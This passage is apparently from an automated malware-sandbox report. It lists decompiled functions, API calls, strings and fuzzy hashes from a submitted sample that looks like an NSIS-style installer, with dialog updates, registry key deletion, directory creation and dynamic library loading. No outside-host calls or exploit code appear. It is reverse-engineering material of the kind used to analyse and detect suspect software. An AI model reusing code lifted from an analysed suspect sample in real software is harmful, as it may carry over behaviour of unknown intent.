				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageA(_t28, 0x110c, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x004048c4
0x004048d1
0x004048d7
0x00404915
0x00404915
0x00404924
0x0040492b
0x00000000
0x0040492d
0x004048d9
0x004048e8
0x004048f0
0x004048f3
0x00404905
0x0040490b
0x00404912
0x00000000
0x00404912
0x00000000

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004048D1
GetMessagePos.USER32 ref: 004048D9
ScreenToClient.USER32 ref: 004048F3
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404905
SendMessageA.USER32(?,0000110C,00000000,?), ref: 0040492B

Strings

f, xrefs: 00404907

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b999d07b324019c2219c33d3107ce818a81de0efbbfc0766a2ac4245d0efef5f
Instruction ID: 15d2046a7114e84a1294b603ac72faee52eeac06783d2b716c70649c054a36c5
Opcode Fuzzy Hash: b999d07b324019c2219c33d3107ce818a81de0efbbfc0766a2ac4245d0efef5f
Instruction Fuzzy Hash: B0014071D00219BADB00DBA4DC45BFFBBBCAB99711F10412ABB10B62D0D7B465018BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B51 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B51(struct HWND__* _a4, intOrPtr _a8) {
				char _v68;
				void* _t11;
				CHAR* _t19;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t11 = E00402BCD();
					_t19 = "unpacking data: %d%%";
					if( *0x423f90 == 0) {
						_t19 = "verifying installer: %d%%";
					}
					wsprintfA( &_v68, _t19, _t11);
					SetWindowTextA(_a4,  &_v68);
					SetDlgItemTextA(_a4, 0x406,  &_v68);
				}
				return 0;
			}

0x00402b5e
0x00402b6c
0x00402b72
0x00402b72
0x00402b80
0x00402b82
0x00402b8e
0x00402b93
0x00402b95
0x00402b95
0x00402ba0
0x00402bb0
0x00402bc2
0x00402bc2
0x00402bca

APIs

SetTimer.USER32 ref: 00402B6C
wsprintfA.USER32 ref: 00402BA0
SetWindowTextA.USER32(?,?), ref: 00402BB0
SetDlgItemTextA.USER32 ref: 00402BC2

Strings

unpacking data: %d%%, xrefs: 00402B8E, 00402B9E
verifying installer: %d%%, xrefs: 00402B95

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: e689fdde44cf42a9b67182cf282a3bc8b5e9150859d8beb6a9b489f4c8dfea69
Instruction ID: 5842f070d0ba5c42680e32cc71ffb7420e94a61e96bc0cd7dd222547cc7ec007
Opcode Fuzzy Hash: e689fdde44cf42a9b67182cf282a3bc8b5e9150859d8beb6a9b489f4c8dfea69
Instruction Fuzzy Hash: 63F01D70900209ABEF206F60DD0ABEE3B79AB00305F00803AFA16B51D1D7B8AA558F59

Uniqueness

Uniqueness Score: -1.00%

Function 004054A9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004054A9(CHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x407310;
				_v36.Group = 0x407310;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x407300;
				_v16.nLength = 0xc;
				if(CreateDirectoryA(_a4,  &_v16) != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityA(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x004054b4
0x004054b8
0x004054bb
0x004054c1
0x004054c5
0x004054c9
0x004054d1
0x004054d8
0x004054de
0x004054e5
0x004054f4
0x004054f6
0x00000000
0x004054f6
0x00405500
0x00405507
0x0040551d
0x00000000
0x00000000
0x00000000
0x0040551f
0x00405523

APIs

CreateDirectoryA.KERNEL32(?,?,00000000), ref: 004054EC
GetLastError.KERNEL32 ref: 00405500
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405515
GetLastError.KERNEL32 ref: 0040551F

Strings

C:\Users\user\Desktop, xrefs: 004054A9

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-1246513382
Opcode ID: 1936ad7c03f2b7d8793bf3b54e92df8b677be00562b78ee6b782fceed01fa342
Instruction ID: c62c2996f9e34dce87800cf524906665c2ca46c28120acb5782fde5c5d27446b
Opcode Fuzzy Hash: 1936ad7c03f2b7d8793bf3b54e92df8b677be00562b78ee6b782fceed01fa342
Instruction Fuzzy Hash: 2C010871D04219EAEF119FA5D9047EFBBB8EF04355F00457AE905B6180D378A644CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00402A4C Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402A4C(void* _a4, char* _a8, intOrPtr _a12) {
				void* _v8;
				char _v272;
				long _t18;
				intOrPtr* _t27;
				long _t28;

				_t18 = RegOpenKeyExA(_a4, _a8, 0,  *0x424030 | 0x00000008,  &_v8);
				if(_t18 == 0) {
					while(RegEnumKeyA(_v8, 0,  &_v272, 0x105) == 0) {
						if(_a12 != 0) {
							RegCloseKey(_v8);
							L8:
							return 1;
						}
						if(E00402A4C(_v8,  &_v272, 0) != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t27 = E00406087(4);
					if(_t27 == 0) {
						if( *0x424030 != 0) {
							goto L8;
						}
						_t28 = RegDeleteKeyA(_a4, _a8);
						if(_t28 != 0) {
							goto L8;
						}
						return _t28;
					}
					return  *_t27(_a4, _a8,  *0x424030, 0);
				}
				return _t18;
			}

0x00402a6d
0x00402a75
0x00402a9d
0x00402a87
0x00402ad7
0x00402add
0x00000000
0x00402adf
0x00402a9b
0x00000000
0x00000000
0x00402a9b
0x00402ab2
0x00402aba
0x00402ac1
0x00402aed
0x00000000
0x00000000
0x00402af5
0x00402afd
0x00000000
0x00000000
0x00000000
0x00402afd
0x00000000
0x00402ad0
0x00402ae4

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A6D
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AA9
RegCloseKey.ADVAPI32(?), ref: 00402AB2
RegCloseKey.ADVAPI32(?), ref: 00402AD7
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402AF5

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: e587360bee53e37b0855da719222600f70f6391bf1876ecc0db5f363fb6ea6fc
Instruction ID: 0b2809d2fb64695319acfce79e26d11160b3b4f997347cbf6297b20c5f533aea
Opcode Fuzzy Hash: e587360bee53e37b0855da719222600f70f6391bf1876ecc0db5f363fb6ea6fc
Instruction Fuzzy Hash: B3117F71A00009FFDF21AF90DE48DAF7B79EB44384B104076FA05B00A0DBB49E51AF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1 Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401CC1(int __edx) {
				void* _t17;
				struct HINSTANCE__* _t21;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 8), __edx);
				GetClientRect(_t25, _t27 - 0x50);
				_t17 = SendMessageA(_t25, 0x172, _t21, LoadImageA(_t21, E00402A0C(_t21), _t21,  *(_t27 - 0x48) *  *(_t27 - 0x20),  *(_t27 - 0x44) *  *(_t27 - 0x20), 0x10));
				if(_t17 != _t21) {
					DeleteObject(_t17);
				}
				 *0x424008 =  *0x424008 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}

0x00401ccb
0x00401cd2
0x00401d01
0x00401d09
0x00401d10
0x00401d10
0x004028a4
0x004028b0

APIs

GetDlgItem.USER32 ref: 00401CC5
GetClientRect.USER32 ref: 00401CD2
LoadImageA.USER32 ref: 00401CF3
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D01
DeleteObject.GDI32(00000000), ref: 00401D10

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: ec194eb94e58c4ab6dd9346a1662fd327514f5b443aeead4144ae97423a1d297
Instruction ID: bd69cf0b23442afaa5089e63738db4ddecc40c485a2e91d601a614859fd6190e
Opcode Fuzzy Hash: ec194eb94e58c4ab6dd9346a1662fd327514f5b443aeead4144ae97423a1d297
Instruction Fuzzy Hash: 79F0FF72A04114AFDB00EBA4DD88DAFB77CFB44305B044536F601F6191C7789D419B79

Uniqueness

Uniqueness Score: -1.00%

Function 00405882 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405882(char _a4) {
				CHAR* _t3;
				char* _t5;
				CHAR* _t7;
				CHAR* _t8;
				void* _t10;

				_t1 =  &_a4; // 0x405634
				_t8 =  *_t1;
				_t7 = CharNextA(_t8);
				_t3 = CharNextA(_t7);
				if( *_t8 == 0 ||  *_t7 != 0x5c3a) {
					if( *_t8 != 0x5c5c) {
						L8:
						return 0;
					}
					_t10 = 2;
					while(1) {
						_t10 = _t10 - 1;
						_t5 = E00405819(_t3, 0x5c);
						if( *_t5 == 0) {
							goto L8;
						}
						_t3 = _t5 + 1;
						if(_t10 != 0) {
							continue;
						}
						return _t3;
					}
					goto L8;
				} else {
					return CharNextA(_t3);
				}
			}

0x0040588b
0x0040588b
0x00405892
0x00405895
0x0040589a
0x004058ad
0x004058c7
0x00000000
0x004058c7
0x004058b1
0x004058b2
0x004058b5
0x004058b6
0x004058be
0x00000000
0x00000000
0x004058c0
0x004058c3
0x00000000
0x00000000
0x00000000
0x004058c3
0x00000000
0x004058a3
0x00000000
0x004058a4

APIs

CharNextA.USER32(4V@,?,C:\,00000000,004058E6,C:\,C:\,?,?,766DF560,00405634,?,C:\Users\user\AppData\Local\Temp\,766DF560), ref: 00405890
CharNextA.USER32(00000000), ref: 00405895
CharNextA.USER32(00000000), ref: 004058A4

Strings

C:\, xrefs: 00405883
4V@, xrefs: 0040588B, 0040588F

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: CharNext
String ID: 4V@$C:\
API String ID: 3213498283-1503405514
Opcode ID: c58660fb0bf1ba28bd125fae111134e2cdebdf6cff54c8abe05387ea08842000
Instruction ID: c672ca698b2e1da82c16c1c95d0afa497de5c4bc474b1e42a417a68fd1ebbade
Opcode Fuzzy Hash: c58660fb0bf1ba28bd125fae111134e2cdebdf6cff54c8abe05387ea08842000
Instruction Fuzzy Hash: 65F0A753954F2155F72232644C44B7B5BACDF55711F14C47BE900F61D182BC5CB28FAA

Uniqueness

Uniqueness Score: -1.00%

Function 004047AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E004047AC(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v36;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				signed int _t22;
				void* _t29;
				void* _t31;
				void* _t32;
				void* _t41;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				signed int _t51;
				signed int _t53;

				_t21 = _a16;
				_t51 = _a12;
				_t41 = 0xffffffdc;
				if(_t21 == 0) {
					_push(0x14);
					_pop(0);
					_t22 = _t51;
					if(_t51 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t41 = 0xffffffdd;
					}
					if(_t51 < 0x400) {
						_t41 = 0xffffffde;
					}
					if(_t51 < 0xffff3333) {
						_t50 = 0x14;
						asm("cdq");
						_t22 = 1 / _t50 + _t51;
					}
					_t23 = _t22 & 0x00ffffff;
					_t53 = _t22 >> 0;
					_t43 = 0xa;
					_t47 = ((_t22 & 0x00ffffff) + _t23 * 4 + (_t22 & 0x00ffffff) + _t23 * 4 >> 0) % _t43;
				} else {
					_t53 = (_t21 << 0x00000020 | _t51) >> 0x14;
					_t47 = 0;
				}
				_t29 = E00405D1D(_t41, _t47, _t53,  &_v36, 0xffffffdf);
				_t31 = E00405D1D(_t41, _t47, _t53,  &_v68, _t41);
				_t32 = E00405D1D(_t41, _t47, 0x420580, 0x420580, _a8);
				wsprintfA(_t32 + lstrlenA(0x420580), "%u.%u%s%s", _t53, _t47, _t31, _t29);
				return SetDlgItemTextA( *0x423758, _a4, 0x420580);
			}

0x004047b2
0x004047b7
0x004047bf
0x004047c0
0x004047cd
0x004047d5
0x004047d6
0x004047d8
0x004047da
0x004047dc
0x004047df
0x004047df
0x004047e6
0x004047ec
0x004047ec
0x004047f3
0x004047fa
0x004047fd
0x00404800
0x00404800
0x00404804
0x00404814
0x00404816
0x00404819
0x004047c2
0x004047c2
0x004047c9
0x004047c9
0x00404821
0x0040482c
0x00404842
0x00404852
0x0040486e

APIs

lstrlenA.KERNEL32(00420580,00420580,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004046C7,000000DF,00000000,00000400,?), ref: 0040484A
wsprintfA.USER32 ref: 00404852
SetDlgItemTextA.USER32 ref: 00404865

Strings

%u.%u%s%s, xrefs: 00404834

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 79547ab418726b7bf4084acddcdfde422701d950c1d0e95393f539214d427545
Instruction ID: 71df96092b2c0d2c51d4f9b386e12500524326f2c654dceed31374545f8d5b50
Opcode Fuzzy Hash: 79547ab418726b7bf4084acddcdfde422701d950c1d0e95393f539214d427545
Instruction Fuzzy Hash: C411E77364412437DB0075699C46EAF3299DFC6374F244637FA25F31D2EA788C5285AC

Uniqueness

Uniqueness Score: -1.00%

Function 00401BAD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00401BAD() {
				signed int _t28;
				CHAR* _t31;
				long _t32;
				int _t37;
				signed int _t38;
				int _t42;
				int _t48;
				struct HWND__* _t52;
				void* _t55;

				 *(_t55 - 8) = E004029EF(3);
				 *(_t55 + 8) = E004029EF(4);
				if(( *(_t55 - 0x14) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 8)) = E00402A0C(0x33);
				}
				__eflags =  *(_t55 - 0x14) & 0x00000002;
				if(( *(_t55 - 0x14) & 0x00000002) != 0) {
					 *(_t55 + 8) = E00402A0C(0x44);
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x2c)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t50 = E00402A0C();
					_t28 = E00402A0C();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t31 =  ~( *_t27) & _t50;
					__eflags = _t31;
					_t32 = FindWindowExA( *(_t55 - 8),  *(_t55 + 8), _t31,  ~( *_t28) & _t28);
					goto L10;
				} else {
					_t52 = E004029EF();
					_t37 = E004029EF();
					_t48 =  *(_t55 - 0x14) >> 2;
					if(__eflags == 0) {
						_t32 = SendMessageA(_t52, _t37,  *(_t55 - 8),  *(_t55 + 8));
						L10:
						 *(_t55 - 0xc) = _t32;
					} else {
						_t38 = SendMessageTimeoutA(_t52, _t37,  *(_t55 - 8),  *(_t55 + 8), _t42, _t48, _t55 - 0xc);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t55 - 4)) =  ~_t38 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x28)) - _t42;
				if( *((intOrPtr*)(_t55 - 0x28)) >= _t42) {
					_push( *(_t55 - 0xc));
					E00405C59();
				}
				 *0x424008 =  *0x424008 +  *((intOrPtr*)(_t55 - 4));
				return 0;
			}

0x00401bb6
0x00401bc2
0x00401bc5
0x00401bce
0x00401bce
0x00401bd1
0x00401bd5
0x00401bde
0x00401bde
0x00401be1
0x00401be5
0x00401be7
0x00401c34
0x00401c36
0x00401c3f
0x00401c47
0x00401c4a
0x00401c4a
0x00401c53
0x00000000
0x00401be9
0x00401bf0
0x00401bf2
0x00401bfa
0x00401bfd
0x00401c25
0x00401c59
0x00401c59
0x00401bff
0x00401c0d
0x00401c15
0x00401c18
0x00401c18
0x00401bfd
0x00401c5c
0x00401c5f
0x00401c65
0x00402849
0x00402849
0x004028a4
0x004028b0

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C0D
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C25

Strings

!, xrefs: 00401BE1

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: ffe6b110ca1c73326c48dab4d0f6c0cda1bf7de6d6394e86224bb1024c2cbccb
Instruction ID: 0d48d80f5befc11ac34d32cc8383790a8c4c8cfd5038d7f43494ad221661d07c
Opcode Fuzzy Hash: ffe6b110ca1c73326c48dab4d0f6c0cda1bf7de6d6394e86224bb1024c2cbccb
Instruction Fuzzy Hash: 4D217471A44248BFEF01AFB4CD8AAAE7B75EF44344F14417AF501B61D1D6788940DB19

Uniqueness

Uniqueness Score: -1.00%

Function 004057EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004057EE(CHAR* _a4) {
				CHAR* _t7;

				_t7 = _a4;
				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
					lstrcatA(_t7, 0x409010);
				}
				return _t7;
			}

0x004057ef
0x00405806
0x0040580e
0x0040580e
0x00405816

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040323C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004033DB), ref: 004057F4
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040323C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004033DB), ref: 004057FD
lstrcatA.KERNEL32(?,00409010), ref: 0040580E

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004057EE

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction ID: a73f37ca2c4469ddb4ae9c1577b37cdaede3e1835012dc8acebf0dfdd4a4e987
Opcode Fuzzy Hash: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction Fuzzy Hash: 86D0A962615A703EE21236559C09F8B2A0CCF82700B14C833F600B22E2C63C5D41CFFE

Uniqueness

Uniqueness Score: -1.00%

Function 00401F67 Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401F67(void* __ebx, void* __eflags) {
				void* _t27;
				struct HINSTANCE__* _t30;
				CHAR* _t32;
				intOrPtr* _t33;
				void* _t34;

				_t27 = __ebx;
				asm("sbb eax, 0x424038");
				 *(_t34 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x424008 =  *0x424008 +  *(_t34 - 4);
					return 0;
				}
				_t32 = E00402A0C(0xfffffff0);
				 *(_t34 + 8) = E00402A0C(1);
				if( *((intOrPtr*)(_t34 - 0x18)) == __ebx) {
					L3:
					_t30 = LoadLibraryExA(_t32, _t27, 8);
					if(_t30 == _t27) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
					if(_t33 == _t27) {
						E00404FE7(0xfffffff7,  *(_t34 + 8));
					} else {
						 *(_t34 - 4) = _t27;
						if( *((intOrPtr*)(_t34 - 0x20)) == _t27) {
							 *_t33( *((intOrPtr*)(_t34 - 8)), 0x400, 0x425000, 0x40b050, 0x409000);
						} else {
							E00401423( *((intOrPtr*)(_t34 - 0x20)));
							if( *_t33() != 0) {
								 *(_t34 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t34 - 0x1c)) == _t27 && E004036EE(_t30) != 0) {
						FreeLibrary(_t30);
					}
					goto L16;
				}
				_t30 = GetModuleHandleA(_t32);
				if(_t30 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x00401f67
0x00401f67
0x00401f6c
0x00401f73
0x0040202f
0x0040217a
0x0040217a
0x004028a1
0x004028a4
0x004028b0
0x004028b0
0x00401f82
0x00401f8c
0x00401f8f
0x00401f9e
0x00401fa8
0x00401fac
